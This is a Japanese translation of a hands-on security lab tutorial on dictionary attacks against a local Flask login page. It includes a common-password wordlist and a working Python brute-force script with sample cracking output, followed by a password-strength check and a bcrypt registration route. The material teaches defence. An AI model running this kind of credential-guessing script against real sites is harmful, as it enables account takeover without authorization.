Python を使ったウェブサイトのパスワード解読

PythonPythonBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、ウェブアプリケーションのパスワードセキュリティをテストする任務を担うセキュリティ研究者の役割を務めます。脆弱なパスワードの脆弱性を探り、それらを解読するために使用される技術を学びます。この実践的な経験は、攻撃技術とサイバーセキュリティにおける堅牢な防御策の重要性の両方に洞察を提供します。

対象ウェブサイトの調査

このステップでは、対象のウェブサイトに関する情報を収集します。これは、任意のセキュリティ評価における重要な最初の段階です。

  1. ウェブブラウザを開き、http://localhost:8080/ に移動します。LabEx環境の Web 8080 タブをクリックすることでアクセスできます。
LabEx web browser tab

注意:LabEx仮想マシンでは、Webサーバーは一時的なパブリックネットワーク上で動作します。これは、見えるドメイン名が「localhost」ではなく、実際にアクセス可能なドメインであることを意味します。これは正常で、実験の実施には影響ありません。

  1. ログインフォームを注意深く調べます。以下の点に留意してください:

    • サイトではユーザー名とパスワードの両方が必要です。
    • 有効なユーザー名やパスワードの要件に関する目立ったヒントはありません。
  2. ユーザー名とパスワードのいくつかのランダムな組み合わせを使ってログインしてみます。たとえば:

    • ユーザー名:test、パスワード:password123
    • ユーザー名:admin、パスワード:admin
    • ユーザー名:user、パスワード:12345

各試行で「ユーザー名またはパスワードが無効です」というメッセージが表示されるはずです。

  1. あなたの観察結果に基づいて、ログインシステムについていくつかの推測ができます:
    • ユーザー名が存在するかどうかを明らかにしません。これは、有効なアカウントに関する情報を漏らさないという良いセキュリティ対策です。
    • ログイン試行回数に明らかな制限はありません。現実のシナリオでは、これは脆弱性になり得ます。無制限のパスワード推測を可能にします。

この初期の調査は、私たちが取り組んでいるシステムを理解するのに役立ち、パスワードを解読するための次のステップを知らせます。

パスワード辞書の作成

ログインシステムに関する情報を収集したので、次に、潜在的なパスワードの辞書を作成します。これは、パスワード解読の試みで一般的に使用される手法です。

  1. デスクトップ上のターミナルを開きます。
terminal open on desktop
  1. ターミナルで、次のコマンドを入力して passwords.txt ファイルを作成して内容を入力します:
cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF

このコマンドは、bashにおける「ヒアドキュメント」と呼ばれる手法を使用しています。これにより、1つのコマンドで複数行のテキストを含むファイルを作成できます。その仕組みは以下の通りです:

  • cat << EOF > filename:これは、システムに対して、「EOF」(ファイルの終端)が見つかるまでのすべてのテキストを取得し、指定されたファイル名に書き込むように指示します。
  • 最初の EOF と2番目の EOF の間のテキストが、ファイルに書き込まれる内容です。
  • 最後の EOF は、書き込むテキストの終わりを示します。

このコマンドを実行すると、~/project/password_lab/ ディレクトリに passwords.txt という名前のファイルが作成され、一般的に使用される(したがって脆弱な)パスワードのリストが含まれます。

現実のシナリオでは、攻撃者は数百万のパスワードを含むはるかに大きな辞書を使用する場合があります。これらには以下が含まれる場合があります:

  • 一般的に使用されるパスワード
  • 複数言語の単語
  • 単語のバリエーション(たとえば、「password1」、「p@ssword」、「password123」)
  • 以前のデータ侵害から漏洩したパスワード

不正アクセスのためにこのような辞書を作成して使用することは、違法で倫理的ではありません。この小さな辞書を使用するのは、これらの攻撃がどのように機能するか、およびそれらに対してどのように防御するかを理解するための教育目的だけです。

パスワード解読スクリプトの作成

パスワード辞書ができたので、次にPythonスクリプトを作成して、対象のウェブサイトに対してこれらのパスワードをテストするプロセスを自動化します。

  1. デスクトップ上のターミナルがまだ開いていなければ開きます。

  2. 次のコマンドを入力して、nanoテキストエディタで password_cracker.py という名前の新しいファイルを開きます:

nano ~/project/password_lab/password_cracker.py
  1. 次のPythonコードをコピーしてnanoエディタに貼り付けます:
import requests
import time

def crack_password(username, password_list):
    url = 'http://localhost:8080'
    for password in password_list:
        response = requests.post(url, data={'username': username, 'password': password.strip()})
        if 'Login successful!' in response.text:
            print(f"Succeeded! {username} with password: {password.strip()}")
        else:
            print(f"Failed attempt for {username} with password: {password.strip()}")
        time.sleep(0.1)  ## Small delay to avoid overwhelming the server

def main():
    usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for username in usernames:
        print(f"Attempting to crack password for user: {username}")
        crack_password(username, passwords)

if __name__ == '__main__':
    main()
  1. ファイルを保存して、Ctrl+X を押してから Y を押し、最後に Enter を押してnanoを終了します。

このスクリプトが何をするか解説しましょう:

  • crack_password 関数:

    • ユーザー名とパスワードのリストを入力として受け取ります。
    • 各パスワードに対して、ユーザー名とパスワードを含めてログインページにPOSTリクエストを送信します。
    • レスポンスに "Login successful!" が含まれている場合、成功メッセージを表示します。
    • それ以外の場合、失敗メッセージを表示します。
    • サーバーに負荷をかけないように、試行間に小さな遅延(0.1秒)を含めています。
  • main 関数:

    • 試す一般的なユーザー名のリストを定義します。
    • passwords.txt ファイルからパスワードを読み取ります。
    • 各ユーザー名に対して、パスワードのリストを使って crack_password を呼び出します。

このスクリプトは、多くのユーザー名とパスワードの組み合わせを試すプロセスを自動化します。攻撃者がシステムに侵入する方法に似ています。ただし、許可なくこのような技術を使用することは違法で倫理的ではありません。これを使用するのは、これらの攻撃がどのように機能するか、およびそれらに対してどのように防御するかを理解するための教育目的だけです。

パスワード解読スクリプトの実行

パスワード解読スクリプトができたので、それを実行して結果を分析します。

  1. ターミナルで、スクリプトがあるディレクトリに移動します:
cd ~/project/password_lab
  1. 次のコマンドでスクリプトを実行します:
python password_cracker.py
  1. 出力を注意深く見てください。スクリプトはいくつかの一般的なユーザー名のパスワードを解読しようとします。次のような出力が表示されるはずです:
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
  1. 出力を分析します:
    • どのパスワードが正常に解読されましたか?
    • どのユーザー名に対して?
    • 正しいパスワードを見つけるまでに何回の試行が必要でしたか?
    • なぜ一部のパスワードが解読され、他のパスワードは解読されなかったと考えられますか?

このエクササイズは、脆弱なパスワードが一般的な単語やパターンを使って簡単に推測できることを示しています。この場合、パスワードが「supersecret123」の「admin」は、辞書攻撃に対して脆弱でした。

このスクリプトはこの制御された環境で成功しましたが、明示的な許可なしに実際のシステムに対してこのような技術を使用しようとすることは、違法で倫理的ではありません。この知識は、脆弱性を理解してセキュリティを向上させるために使用するべきであり、システムを悪用するためではありません。

パスワードセキュリティの向上

いくつかのパスワードを成功裏に解読したので、このような攻撃を防止するために、より良いパスワードポリシーを実装しましょう。

  1. LabEx VMの「WebIDE」タブを開きます。WebIDEは、ベースとなるWeb型統合開発環境で、ブラウザ内で直接コードを記述、実行、デバッグできます。VS Codeエディタに似ていますが、ブラウザ内で動作します。WebIDEは、長いコードファイルの編集に適しています。
WebIDE interface screenshot
  1. 画面左側のファイルエクスプローラーで、app.py ファイルをクリックしてエディタで開きます。
  2. パスワード強度チェックを実装するために、users 辞書の後に次の関数を追加します:
import re

def is_strong_password(password):
    if len(password) < 12:
        return False
    if not re.search(r'[A-Z]', password):
        return False
    if not re.search(r'[a-z]', password):
        return False
    if not re.search(r'\d', password):
        return False
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False
    return True
Password strength check code

この関数は、パスワードが以下を満たしているかどうかをチェックします:

  • 少なくとも12文字以上
  • 少なくとも1つの大文字
  • 少なくとも1つの小文字
  • 少なくとも1つの数字
  • 少なくとも1つの特殊文字
  1. 次に、このパスワードポリシーを実装するユーザー登録用の新しいルートを追加します。if __name__ == '__main__': 行の前にこのコードブロックを追加します:
@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username and password:
            if is_strong_password(password):
                if username not in users:
                    users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
                    message = 'Registration successful!'
                else:
                    message = 'Username already exists'
            else:
                message = 'Password is not strong enough'
        else:
            message = 'Username and password are required'
    return render_template_string('''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Registration</title>
        <script src="https://cdn.tailwindcss.com"></script>
    </head>
    <body class="bg-gray-100 h-screen flex items-center justify-center">
        <div class="bg-white p-8 rounded-lg shadow-md w-96">
            <h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
            <form method="post" class="space-y-4">
                <div>
                    <label for="username" class="block text-sm font-medium text-gray-700">Username</label>
                    <input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
                    <input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                        Register
                    </button>
                </div>
            </form>
            <p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
            <p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
        </div>
    </body>
    </html>
    ''', message=message)
User registration form interface

このコードは、ユーザー登録用の新しいルートを作成します。新しいユーザーを作成する前に、送信されたパスワードが強力なパスワード基準を満たしているかどうかをチェックします。

  1. WebIDEで変更を保存します。
  2. 次に、Flaskアプリケーションを再起動してこれらの変更を適用します。ターミナルを開いて実行します:
pkill -f "python app.py"
python ~/project/password_lab/app.py
  1. 「Web 8080」タブに移動し、新しい登録フォームにアクセスするためにURLに /register を追加します:
User registration form interface
  1. 脆弱なパスワード(たとえば、「password123」)を使って新しいアカウントを登録してみます。アプリケーションが新しいパスワードポリシーをどのように強制するかを確認します。

  2. 次に、すべての基準を満たす強力なパスワードを使って新しいアカウントを登録します。たとえば:

    • ユーザー名:labex
    • パスワード:S3cureP@ssw0rd-2024

    このパスワードはすべての要件を満たしています。12文字以上で、大文字と小文字、数字、特殊文字が含まれています。

  3. 正常に登録した後、この新しい強力なパスワードに対してパスワード解読スクリプトをテストしましょう。password_cracker.py スクリプトを変更します:

    • ターミナルを開いて入力します:
    nano ~/project/password_lab/password_cracker.py
    • usernames = ['admin', 'user', 'root', 'administrator', 'webmaster'] という行を見つけます
    • それを usernames = ['labex'] に置き換えます
  4. 変更したスクリプトを実行します:

python ~/project/password_lab/password_cracker.py

新しい強力なパスワードを解読できないことを確認します。これは、強力なパスワードポリシーを実装する効果を示しています。

まとめ

この実験では、エシカルハッキングとパスワードセキュリティテストのプロセスを体験しました。以下は、あなたが達成したことのまとめです:

  1. 情報収集:あなたはログインページを調査し、その動作と潜在的な脆弱性に関する情報を収集しました。このステップは、セキュリティ研究者や攻撃者がターゲットシステムの調査を開始する方法に似ています。
  2. パスワード辞書の作成:あなたは一般的なパスワードのリストを作成し、現実のパスワード解読の試みで使用される辞書をシミュレートしました。これは、一般的または脆弱なパスワードを使用する脆弱性を浮き彫りにしました。
  3. 自動化されたパスワード解読:あなたはPythonスクリプトを書いて実行し、複数のユーザー名とパスワードの組み合わせをテストするプロセスを自動化しました。これは、攻撃者がシステムに侵入する方法と、脆弱なパスワードがどのくらいの速さで破られるかを示しています。
  4. 結果の分析:あなたはパスワード解読スクリプトを実行し、結果を分析し、どのパスワードが脆弱であり、なぜそうなのかを理解しました。このステップは、強力でユニークなパスワードを使用する重要性を強調しています。
  5. セキュリティ対策の実装:最後に、あなたは強力なパスワードポリシーとセキュアな登録システムを実装することで、Webアプリケーションのセキュリティを向上させました。これは、適切なセキュリティ対策が一般的な攻撃を効果的に防止できる方法を示しています。